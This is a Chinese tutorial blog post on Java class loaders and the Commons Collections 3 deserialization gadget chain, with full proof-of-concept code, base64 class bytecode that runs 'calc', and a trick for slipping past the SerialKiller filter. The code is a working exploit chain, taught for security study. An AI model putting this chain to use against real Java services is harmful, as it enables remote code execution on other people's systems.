[java安全]类加载器CommonsCollections3

news2024/12/1 8:56:12

文章目录

    • 【java安全】类加载器&CommonsCollections3
      • 前言
      • java类加载器
        • URLClassLoader
        • 利用ClassLoader#defineClass()直接加载字节码
      • 使用TemplatesImpl加载字节码
        • TemplatesImpl中字节码实现AbstractTranslet类
      • 构造未完成POC
      • TrAXFilter类调用newTransformer()
      • InstantiateTransformer
      • poc
      • 调用链

【java安全】类加载器&CommonsCollections3

前言

前面我们学习了CommonsCollections1等等cc链,这里我们学习第三条链子CommonsCollctions3,这里需要用到TemplatesImpl类,由于这个类会使用到一些类加载器中相关的知识,所以我们需要先学习一些类加载器知识

java类加载器

我们知道,java是跨平台的语言,首先在不同的平台,如:windows、macOS等系统编写源代码,然后通过各自的编译器,编译成字节码class文件,字节码通过类加载器的加载,加载到JVM虚拟机中,可以在不同的平台运行,实现了跨平台特性

ClassLoader是一个加载器,告诉JVM虚拟机如何加载Class文件,java默认的ClassLoader是根据类名来加载类的,例如:java.lang.Runtime

这里我们先来介绍一下URLClassLoader

URLClassLoader

URLClassLoader是java中的一个类加载器,它支持从指定URL中加载字节码文件

URLClassLoader是我们平时默认使用的类加载器AppClassLoader的父类,所以我们解释URLClassLoader其实就是就是AppClassLoaderjava默认类加载器的工作流程

正常情况下,Java会根据配置项 sun.boot.class.pathjava.class.path 中列举到的基础路径(这些路径是经过处理后的 java.net.URL 类)来寻找.class文件来加载,而这个基础路径有分为三种情况:

  • URL未以斜杠 / 结尾,则认为是一个JAR文件,使用 JarLoader 来寻找类,即为在Jar包中寻 找.class文件

  • URL以斜杠 / 结尾,且协议名是 file ,则使用 FileLoader 来寻找类,即为在本地文件系统中寻 找.class文件

  • URL以斜杠 / 结尾,且协议名不是 file ,则使用最基础的 Loader 来寻找类

我们可以使用一个简单的例子来说明URLClassLoader的作用

我们构造一个Hello类,构造函数中输出一句话:

public class Hello {
    public Hello() {
        System.out.println("hello~classLoader~");
    }
}

编译之后,将class文件放入:http://localhost/下:

image-20230718165852578

我们观察一下URLClassLoader类的构造:

public static URLClassLoader newInstance(final URL[] urls,
                                             final ClassLoader parent) {
        ...
        return ucl;
    }

然后写一个Test方法

import java.net.URL;
import java.net.URLClassLoader;

public class LoaderTest {
    public static void main(String[] args) throws Exception {
        //创建一个URL的数组
        URL[] urls = new URL[]{new URL("http://127.0.0.1/")};
        //将其传给URLClassLoader#newInstance()方法
        URLClassLoader loader = URLClassLoader.newInstance(urls);
        //加载Hello类,
        Class<?> aClass = loader.loadClass("Hello");
        //将Hello类实例化
        aClass.newInstance();
    }
}

上述代码将URL数组传递给URLClassLoader,代表该类加载器要从指定的URLhttp://127.0.0.1/中去加载指定的类Hello,使用loadClass()方法加载Hello类,然后调用newInstance()方法实例化对象,此时会调用Hello类中的构造方法,输出字符串:

image-20230718171559499

成功请求到了远程服务器的Hello.class文件,并且执行了里面的字节码

所以如果我们能控制ClassLoader的路径为服务器,就可以远程加载字节码文件来执行代码了

利用ClassLoader#defineClass()直接加载字节码

上面我们使用了URLClassLoader远程加载class文件,其实java加载字节码文件主要分为三个阶段:

image-20230718174223556

  • ClassLoader#loadClass() 从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机 制),在前面没有找到的情况下,执行 findClass()
  • ClassLoader#findClass() 是根据基础URL指定的方式来加载类的字节码,就像上一节中说到的,可能会在 本地文件系统、jar包或远程http服务器上读取字节码,然后交给 defineClass
  • ClassLoader#defineClass() 作用是处理前面传入的字节码,将其处理成真正的Java类

可以看到defineClass()方法是最重要的,将字节码转为java类

protected final Class<?> defineClass(String name, byte[] b, int off, int len)
        throws ClassFormatError
    {
        return defineClass(name, b, off, len, null);
    }

defineClass()使用protected权限修饰,我们可以使用反射调用

参数:name是要调用类的名字,b是要调用Class序列化的字节数组,off是从字节数组的第几个开始,len是长度

我们写一个测试方法:

import java.lang.reflect.Method;
import java.util.Base64;

public class HelloDefineClass {
    public static void main(String[] args) throws Exception {
        //使用反射获取defineClass()方法
        Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        //设置权限为true
        defineClass.setAccessible(true);
        //Hello.class的字节数组
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAGwoABgANCQAOAA8IABAKABEAEgcAEwcAFAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApTb3VyY2VGaWxlAQAKSGVsbG8uamF2YQwABwAIBwAVDAAWABcBAAtIZWxsbyBXb3JsZAcAGAwAGQAaAQAFSGVsbG8BABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAABAAEABwAIAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoAAAAOAAMAAAACAAQABAAMAAUAAQALAAAAAgAM");
        //调用defineClass()方法,传入系统的类加载器,加载Hello类,字节数组为code
        Class hello = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello", code, 0, code.length);
        //创建实例对象
        hello.newInstance();
    }
}

/*
输出:
Hello World
*/

defineClass被调用的时候返回的是Class,所以不会初始化类对象,我们需要手动调用newInstance()实例化

使用TemplatesImpl加载字节码

我们在反序列化链中,不可能直接使用defineClass()方法,但是我们可以使用TemplatesImpl类最终调用到defineClass()

TemplatesImpl类位于:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

在这个类中有一个内部类:TransletClassLoader

static final class TransletClassLoader extends ClassLoader {
        private final Map<String,Class> _loadedExternalExtensionFunctions;

         TransletClassLoader(ClassLoader parent) {
             super(parent);
            _loadedExternalExtensionFunctions = null;
        }

        TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
            super(parent);
            _loadedExternalExtensionFunctions = mapEF;
        }

        public Class<?> loadClass(String name) throws ClassNotFoundException {
            Class<?> ret = null;
            // The _loadedExternalExtensionFunctions will be empty when the
            // SecurityManager is not set and the FSP is turned off
            if (_loadedExternalExtensionFunctions != null) {
                ret = _loadedExternalExtensionFunctions.get(name);
            }
            if (ret == null) {
                ret = super.loadClass(name);
            }
            return ret;
         }

        /**
         * Access to final protected superclass member from outer class.
         */
        Class defineClass(final byte[] b) {
            return defineClass(null, b, 0, b.length);
        }
    }

我们看到这个类TransletClassLoader 是默认权限的,所以能被外部访问,并且重写了defineClass()方法

我们可以逐步追溯TransletClassLoader#defineClass()方法的链:

TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()
-> TransletClassLoader#defineClass()

追溯到方法TemplatesImpl#newTransformer()

public synchronized Transformer newTransformer()
        throws TransformerConfigurationException
    {
        TransformerImpl transformer;
		//此处调用了getTransletInstance()
        transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
            _indentNumber, _tfactory);

        if (_uriResolver != null) {
            transformer.setURIResolver(_uriResolver);
        }

        if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
            transformer.setSecureProcessing(true);
        }
        return transformer;
    }

我们尝试构造一下poc:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.util.Base64;

public class TemplatesImplDemo {
    public static void main(String[] args) throws Exception {
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAbDAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwAAQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwADwABABAAAAACABE=");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        obj.newTransformer();

    }
    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

此处的 setFieldValue()函数是用来设置TemplatesImpl的属性的,

_bytecodes是由字节码组成的数组

_name是任意字符串,只要不为空即可,否则执行到getTransletInstance()函数中会返回null

image-20230718184050872

此外我们也要保证_tfactoryTransformerFactoryImpl对象,否则为null在调用getExternalExtensionsMap()会报错:

image-20230718184345034

TemplatesImpl中字节码实现AbstractTranslet类

需要注意的是,TemplatesImpl类对加载的字节码是有要求的,这个字节码对应的类必须是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet类的子类

所以我们构造一个特殊的类,继承com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

image-20230718184910163

我们执行一下,得到结果:

image-20230718183520420

总结一下:TemplatesImpl 是一个可以加载字节码的类,通过调用newTransformer()方法,可以执行这段字节码的类构造方法

构造未完成POC

那么我们如何利用这个特性来执行任意代码呢?

我们可以结合之前我们学习的CommonCollections来构造POC

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.Transformer;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollectionsIntro3 {
    public static void setFieldValue(Object obj, String fieldName, Object
            value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
        byte[] code =
                Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAbDAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwAAQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwADwABABAAAAACABE=");
                        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(obj),
                new InvokerTransformer("newTransformer", null, null)
        };
        Transformer transformerChain = new
                ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null,
                transformerChain);
        outerMap.put("test", "xxxx");
    }
}

我们将构造的TemplatesImpl对象传入Transformer数组的第一个元素ConstantTransformer对象构造方法的参数中,然后第二个元素InvokerTransformer构造方法传入newTransformer表示调用该方法,由于该函数没有形参,所以其他位置填入null

TransformedMap执行put方法时,链式调用ChainedTransformer对象的transform()方法,从而触发newTransformer()方法

image-20230718202039462

成功执行字节码

你以为这就完了吗?没有

在一个反序列化过滤工具:SerialKillerInvokerTransformer被过滤了:

image-20230718202241865

我们就不能使用cc1这种依靠InvokerTransformer类的链子了

TrAXFilter类调用newTransformer()

CommonsCollections3中使用了一种新的类:TrAXFilter

位于:com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter

public TrAXFilter(Templates templates)  throws
        TransformerConfigurationException
    {
        _templates = templates;
        _transformer = (TransformerImpl) templates.newTransformer();
        _transformerHandler = new TransformerHandlerImpl(_transformer);
        _overrideDefaultParser = _transformer.overrideDefaultParser();
    }

TrAXFilter类的构造方法调用了templates变量的newTransformer()方法,所以我们可以使用TrAXFilter类来封装一下TemplatesImpl对象

由于我们缺少了InvokerTransformer类,所以我们无法调用TrAXFilter构造方法

InstantiateTransformer

这时我们又要用到一个新的类InstantiateTransformer

位于:org.apache.commons.collections.functors.InstantiateTransformer

public Object transform(Object input) {
        try {
            if (!(input instanceof Class)) {
                throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));
            } else {
                Constructor con = ((Class)input).getConstructor(this.iParamTypes);
                return con.newInstance(this.iArgs);
            }
        } 
    	...
    }

InstantiateTransformer类的transform()方法调用了形参的构造方法

InstantiateTransformer构造方法如下:

public InstantiateTransformer(Class[] paramTypes, Object[] args) {
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }

所以我们Transformer调用链如下:

Transformer[] transformers = new Transformer[]{
     new ConstantTransformer(TrAXFilter.class),
     new InstantiateTransformer(
         new Class[] { Templates.class },
         new Object[] { obj })
 };

避免使用了InvokerTransformer

poc

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class cc3 {

    public static void setFieldValue(Object obj, String fieldName, Object
            value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        byte[] code =
                Base64.getDecoder().decode("yv66vgAAADQAMwoABwAlCgAmACcIACgKACYAKQcAKgcAKwcALAEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAKTEV4ZWNUZXN0OwEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAY8aW5pdD4BAAMoKVYBAA1TdGFja01hcFRhYmxlBwArBwAqAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAClNvdXJjZUZpbGUBAA1FeGVjVGVzdC5qYXZhDAAaABsHAC4MAC8AMAEABGNhbGMMADEAMgEAE2phdmEvbGFuZy9FeGNlcHRpb24BAAhFeGVjVGVzdAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABgAHAAAAAAAEAAEACAAJAAIACgAAAD8AAAADAAAAAbEAAAACAAsAAAAGAAEAAAAMAAwAAAAgAAMAAAABAA0ADgAAAAAAAQAPABAAAQAAAAEAEQASAAIAEwAAAAQAAQAUAAEACAAVAAIACgAAAEkAAAAEAAAAAbEAAAACAAsAAAAGAAEAAAARAAwAAAAqAAQAAAABAA0ADgAAAAAAAQAPABAAAQAAAAEAFgAXAAIAAAABABgAGQADABMAAAAEAAEAFAABABoAGwABAAoAAABqAAIAAgAAABIqtwABuAACEgO2AARXpwAETLEAAQAEAA0AEAAFAAMACwAAABYABQAAABIABAAUAA0AFwAQABUAEQAYAAwAAAAMAAEAAAASAA0ADgAAABwAAAAQAAL/ABAAAQcAHQABBwAeAAAJAB8AIAABAAoAAAArAAAAAQAAAAGxAAAAAgALAAAABgABAAAAHAAMAAAADAABAAAAAQAhACIAAAABACMAAAACACQ=");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "ExecTest");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer[] fakeTransformer = new Transformer[]{};
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[] { Templates.class },
                        new Object[] { obj })
        };

        Transformer chainedTransformer = new ChainedTransformer(fakeTransformer);
        Map uselessMap = new HashMap();
        Map lazyMap = LazyMap.decorate(uselessMap,chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"leekos");

        Map hashMap = new HashMap();
        hashMap.put(tiedMapEntry,"test");
        //clear清除键,防止影响
        lazyMap.clear();
        Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(chainedTransformer, transformers);

        //序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(hashMap);
        oos.flush();
        oos.close();

        //测试反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();

    }
}

运行弹计算器

image-20230718231353307

ExecTest类的源码:(注意TemplatesImpl传入的字节数组要继承AbstractTranslet类)

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;


public class ExecTest extends AbstractTranslet { //继承 AbstractTranslet
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
    public ExecTest(){
        try {
            Runtime.getRuntime().exec("calc");
        } catch (Exception e) {

        }
    }
}

我们将其编译一下,然后将class使用base64编码:

(需要注意kali中base64命令会自动换行,-w 0 参数防止换行)

cat ExecTest.class | base64 -w 0 > 1.txt

调用链

HashMap#readObjct()
    HashMap#hash()
    	TiedMapEntry#hashCode()
    		LazyMap#get()
    			ChainedTransformer#transform()
    				ConstantTransformer#transform() //返回TrAXFilter字节码对象
    					InstantiateTransformer#transform() //触发TrAXFilter构造方法,导致调用TemplatesImpl#newTransformer()方法,从而加载字节码触发命令执行

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/768371.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【AI绘画Stable Diffusion】高清图像放大+面部修复+一键抠图,谈谈你可能不知道的优化技巧!

一提起后期处理&#xff0c;我猜你可能立马想到的就是图像放大。 今天&#xff0c;我要向你展示的后期处理手法&#xff0c;以及优化技巧。 图片放大算法 如果你常用的是秋叶大佬的整合包&#xff0c;那么你对"R-ESRGAN 4x"和"R-ESRGAN 4x Anime6B"应该…

FPGA单端口RAM——IP核

文章目录 前言一、RAM简介1、随机存储器IP核分类1、RAM IP核2、ROM IP核 2、RAM IP核 二、IP核配置步骤三、源码1、ram_rw驱动文件2、ip_1port_ram顶层文件3、仿真文件4、仿真波形 四、SignalTap II在线调试五、总结六、参考资料 前言 环境&#xff1a; 1、Quartus18.1 2、vsco…

Leetcode-每日一题【1019.链表中的下一个更大结点】

题目 给定一个长度为 n 的链表 head 对于列表中的每个节点&#xff0c;查找下一个 更大节点 的值。也就是说&#xff0c;对于每个节点&#xff0c;找到它旁边的第一个节点的值&#xff0c;这个节点的值 严格大于 它的值。 返回一个整数数组 answer &#xff0c;其中 answer[…

Servlet的监听器

Servlet常用的监听器 ServletContextAttributeListener 用来感知ServlerContext对象属性变化&#xff0c;比如添加或删除属性变化 ServletContextListener 用来感知ServlerContext对象的创建和销毁的 ServletRequestListener 可以用来监听感知ServletRequest对象的创建和销毁的…

大语言模型(LLM)评估综述

论文地址&#xff1a;https://arxiv.org/abs/2307.03109 Github地址&#xff1a;https://github.com/MLGroupJLU/LLM-eval-survey 一 、背景 随着ChatGPT和GPT-4的推出&#xff0c;大型语言模型&#xff08;LLM&#xff09;在学术界和工业界的热度日益升高&#xff0c;这主要…

优雅的设计测试用例

⭐️前言⭐️ 入职以后接触到了公司的具体业务&#xff0c;提升了设计测试用例的能力&#xff0c;于是沉淀出这篇文档与大家分享。 &#x1f349;欢迎点赞 &#x1f44d; 收藏 ⭐留言评论 &#x1f4dd;私信必回哟&#x1f601; &#x1f349;博主将持续更新学习记录收获&…

Acwing.905 区间选点(贪心)

题目 给定N个闭区间[a,bi]&#xff0c;请你在数轴上选择尽量少的点&#xff0c;使得每个区间内至少包含一个选出的点。输出选择的点的最小数量。 位于区间端点上的点也算作区间内。 输入格式 第一行包含整数N&#xff0c;表示区间数。 接下来N行&#xff0c;每行包含两个整数…

Linux内核《CPU负载计算》

目录 前言一、什么是CPU负载&#xff1f;二、如何计算CPU负载三、计算CPU负载的一个脚本四、top命令详解 前言 在实际的产品开发中&#xff0c;我们往往需要关注CPU的负载&#xff0c;确保程序可以长久稳定的运行&#xff0c;并且能够重复发挥SOC的性能。Linux中提供了一些命令…

ArrayList和LinkedList

ArrayList的注意事项 1、在ArrayList中可以放任意元素&#xff0c;包括空值&#xff0c;任何元素&#xff0c;且可重复添加。 2、ArrayList底层是由数组来实现数据存储的 3、ArrayList基本等同于Vector&#xff0c;除了ArrayList是线程不安全(执行效率高),看源码 在多线程的…

【Linux系列P7】进度条小程序的深度解剖(细节满满)

​​​​​ ​ 前言 大家好吖&#xff0c;欢迎来到 YY 滴 Linux系列 &#xff0c;热烈欢迎&#xff01; 本章主要内容面向接触过Linux的老铁&#xff0c;主要内容含 欢迎订阅 YY滴Linux专栏&#xff01;更多干货持续更新&#xff01;以下是传送门&#xff01; 订阅专栏阅读&am…

SpringBoot项目中MVC使用--【SB系列之010】

SpringBoot系列文章目录 SpringBoot 的项目编译即报错处理–SB系列之001 —第一部的其它章节可以通过001链接 SpringBoot项目中WEB页面放哪里–【SB系列之008】 SpringBoot项目中WEB与Controller的联系–【SB系列之009】 ———————————————— 文章目录 SpringBoo…

线程池学习(五)线程工厂、线程池工厂

Executors 定义的Executor, ExecutorService, ScheduledExecutorService, ThreadFactory和Callable类的工厂和实用程序方法&#xff0c;我们称为线程池工厂。ThreadFactory 为定制化创建新线程的对象,我们称为线程工厂 前面几期的学习中&#xff0c;我已经初步会使用线程池了&…

用于公司文件防泄密用的保密软件(企业数据防泄密软件)

防止公司文件泄露是指采取各种措施和方法&#xff0c;以防止公司的敏感和机密文件被未经授权的人员获取、泄露或滥用的行为。 这些文件可能包含公司的商业机密、客户数据、财务信息、研发成果等重要资料&#xff0c;如果泄露给竞争对手、黑客或其他恶意人员&#xff0c;可能会对…

未在本地计算机上注册“microsoft.ACE.oledb.12.0”提供程序。

offiice64位的按装名字短的&#xff0c;office32位的安装名字长的 安装32位的AccessDatabaseEngine.exe&#xff0c;如果使用64位office点击安装32位access时提示无法安装&#xff0c;此时需要&#xff1a; 1.WINR打开运行&#xff0c;输入CMD&#xff0c;进入安装包文件夹 …

AHD模拟高清方案汇总及国产替代方案

由于模拟高清方案对比LVDS数字高清方案在降本、远距离传输的优势明显&#xff0c;及实现方案相对简单&#xff0c;模拟相机一直在车载和安防监控产品上有着较重要的市场地位。伴随着ZM贸易战和境外疫情影响愈来愈趋于严重化&#xff0c;原有外来品牌公司模拟高清方案在产品交期…

LeetCode 75 第五题(345)反转字符串中的元音字母

题目: 示例: 分析: 给一个字符串,将里面的元音字母反转,并且保持非元音字母不变(包括顺序). 字符串反转类型的题,我们都可以使用双指针来解决:定义首尾指针,分别向中间靠拢,直到首尾指针都指向了元音字母,然后交换首尾指针所指的字母,如此不会影响到非元音字母,同时也将元音字…

【4】Vite+Vue3左右容器中相同属性的元素内容自动对齐

